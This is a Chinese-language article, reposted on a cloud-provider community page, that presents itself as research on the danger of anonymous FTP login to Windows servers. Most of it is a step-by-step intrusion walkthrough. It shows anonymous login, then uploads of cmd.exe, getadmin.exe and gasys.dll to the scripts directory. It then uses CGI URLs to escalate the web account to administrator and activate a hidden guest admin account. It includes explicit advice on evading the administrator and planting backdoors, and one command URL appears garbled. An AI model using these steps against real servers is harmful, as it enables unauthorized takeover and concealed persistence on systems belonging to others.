Windows FTP SERVER允許匿名登陸ftp伺服器危險性研究

來源:互聯網
上載者:User
對於缺乏網路安全意識的網路系統管理員,在配置windows伺服器時往往只是讓web伺服器能工作起來,並且打了一些常見的補丁,就認為這個伺服器是很安全的了。其實也不然,當他沒有注重ftp的匿名登陸的危險時,就可能產生嚴重漏洞。(關於此危險請參考我發表的一篇文章《關於www.apache.org被入侵的聯想》)下面我們將以一個實際的例子看看匿名登陸的危險性。

    在shell下,我們可以開始我們的ftp登陸:(假設主機為192.168.0.1)
ftp 192.168.0.1
Connected to 192.168.0.1
220 wyztc Microsoft FTP Service (Version 3.0).
User (192.168.0.1none)):anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password: 輸入anonymous或者guest@ 或者guest
    下面對此過程作一定的解釋(黑體是使用者輸入部分),首先指定提供匿名登陸的ip地址,然後ftp開始串連指定ip地址,在第三行中,220一般表示串連成功,接下來的wyztc表示此時主機的netbios名稱。如果你對WINDOWS NT/2000有一定的瞭解,就知道此時主機必然存在一個使用者名稱叫做IUSR_MACHINENAME(此時是IUSR_wyztc)的帳戶,它就是普通使用者瀏覽此主機上的通用帳戶。然後再輸入anonymous和密碼anonymous就登陸了!

    登入後的第一件事情就是用cd跳轉目錄,這個難度最大,如果能成功進入cig-bin或者scripts目錄,你就會有很大的可能得到整個系統的最高許可權了。此時加入我們已經很幸運的改變目錄成功,即scripts目錄,接下來我們就需要上傳一些檔案到這個目錄下(假設下面需要的檔案均放在d:\hacker\中):

ftp>mput d:\hacker\cmd.exe
ftp>mput d:\hacker\getadmin.exe
ftp>mput d:\hacker\gasys.dll

    顯示成功後,我們即可以切換到瀏覽器中,輸入如下形式的命令:http://192.168.0.1/scripts/getadmin.exe?IUSR_wyztc
大約十多秒後螢幕顯示:
CGI Error
    此時有很大可能就是把IUSR_wyztc帳戶添加入Administrators組中,就是說任何訪問192.168.0.1的使用者都是Administrator,既然通過瀏覽器訪問已經是Administrator 許可權了,所以我們就可以利用net user添加新的帳戶。為了不讓管理員發現,最好將guest帳戶啟用!

http://192.168.0.1/scripts/cmd”.exe?/c20%c:\winnt\system32\net.exe user guest /active:yes
http://192.168.0.1/scripts/getadmin.exe?guest

    這樣就成功在主機上添加了一個具有Administrators組許可權的guest使用者,而且管理員稍不留心也不容易發現,危險性很大。而且一旦有了Administrator許可權,就可以放置一些後門,讓主機不再安全了。

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.